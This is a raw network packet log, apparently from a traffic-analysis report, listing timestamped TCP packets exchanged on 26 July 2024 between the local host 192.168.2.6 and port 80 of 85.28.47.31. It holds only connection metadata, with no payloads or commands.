Jul 26, 2024 13:49:12.445717096 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.445717096 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.445797920 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.445842028 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.445950985 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.445967913 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.446139097 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.446185112 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.446185112 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.449533939 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.449548960 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.449564934 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.449579000 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.449594975 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.449594021 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.449594021 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.449610949 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.449620962 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.449620962 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.449628115 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.449649096 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.449649096 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.449667931 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.451807022 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.451874971 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.451973915 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.451987982 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.452037096 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.452037096 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.452132940 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.452150106 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.452181101 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.452213049 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.452440023 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.452455044 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.452471018 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.452496052 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.452502966 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.452512026 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.452528000 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.452557087 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.452600002 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.452615976 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.452632904 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.452647924 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.452681065 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.452681065 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.453247070 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.453303099 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.453408957 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.453424931 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.453440905 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.453455925 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.453465939 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.453465939 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.453474045 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.453488111 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.453511953 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.453512907 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.453531981 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.453576088 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.454030037 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.454091072 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.454202890 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.454219103 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.454233885 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.454248905 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.454253912 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.454258919 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.454267025 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.454288960 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.454288960 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.454308987 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.454334974 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.454339027 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.454379082 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.454411030 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.455065966 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.455081940 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.455096960 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.455123901 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.455123901 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.455157042 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.455214977 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.455231905 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.455245972 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.455261946 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.455279112 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.455365896 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.464946985 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.464963913 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.464978933 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.464993000 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.465007067 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.465008974 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.465024948 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.465028048 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.465042114 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.465056896 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.465060949 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.465075016 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.465084076 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.465101004 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.465102911 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.465116978 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.465130091 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.465157032 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.465291977 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.465307951 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.465322018 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.465334892 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.465337038 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.465352058 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.465364933 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.465368032 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.465394974 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.465420961 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.465436935 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.465452909 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.465466976 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.465481997 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.465493917 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.465496063 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.465523005 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.465548038 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.466386080 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.466402054 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.466417074 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.466433048 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.466447115 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.466455936 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.466463089 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.466479063 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.466492891 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.466494083 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.466522932 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.466557026 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.466557026 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.467322111 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.467339039 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.467402935 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.467459917 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.467474937 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.467489004 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.467503071 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.467525005 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.467556000 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.468225956 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.468281031 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.468372107 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.468389988 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.468405962 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.468420982 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.468440056 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.468470097 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.468518019 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.468534946 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.468549967 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.468668938 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.468669891 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.471360922 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.471376896 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.471391916 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.471405983 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.471419096 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.471441031 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.471466064 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.471482992 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.530421019 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.530441046 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.530503988 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.530544043 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.530556917 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.530594110 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.531058073 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.531074047 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.531090021 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.531105042 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.531117916 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.531140089 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.531174898 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.535126925 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.535141945 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.535197973 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.535214901 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.535281897 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.535321951 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.535466909 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.535480976 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.535496950 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.535509109 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.535511971 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.535521030 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.535540104 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.535557032 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.536051989 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.536067009 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.536081076 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.536094904 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.536108971 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.536108971 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.536130905 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.536170006 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.536662102 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.536675930 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.536690950 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.536706924 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.536717892 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.536720991 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.536752939 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.536786079 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.536803007 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.537344933 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.537451029 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.537535906 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.537597895 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.540873051 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.540889025 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.540904999 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.540935993 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.540982008 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.541201115 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.541214943 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.541230917 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.541239977 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.541246891 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.541259050 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.541271925 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.541286945 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.541635990 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.541650057 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.541663885 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.541677952 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.541682005 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.541692019 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.541702986 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.541734934 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.542207003 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.542222023 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.542236090 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.542249918 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.542263985 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.542268991 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.542279005 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.542292118 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.542294025 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.542308092 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.542309999 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.542325020 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.542340040 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.542366982 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.542391062 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.542402983 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.542411089 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.542418957 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.542428017 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.542437077 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.542437077 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.542447090 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.542457104 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.542457104 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.542465925 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.542474985 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.542476892 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.542483091 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.542490959 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.542494059 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.542499065 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.542541027 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.542541027 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.543273926 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.543289900 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.543328047 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.551299095 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.551367998 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.551471949 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.551486969 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.551523924 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.552104950 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.552119017 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.552134037 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.552146912 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.552148104 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.552165985 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.552170992 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.552211046 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.553256989 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.553271055 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.553284883 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.553294897 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.553298950 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.553313017 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.553318024 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.553333998 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.553364992 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.556380987 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.556396008 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.556408882 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.556423903 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.556443930 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.556490898 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.556494951 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.556512117 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.556528091 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.556536913 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.556541920 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.556556940 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.556571007 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.556571007 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.556587934 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.556597948 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.556619883 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.556641102 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.557446003 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.557460070 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.557472944 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.557487011 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.557490110 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.557501078 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.557512999 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.557517052 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.557533026 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.557558060 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.557575941 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.558613062 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.558634043 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.558649063 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.558655977 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.558664083 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.558677912 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.558679104 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.558697939 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.558810949 CEST	58985	80	192.168.2.6	85.28.47.31
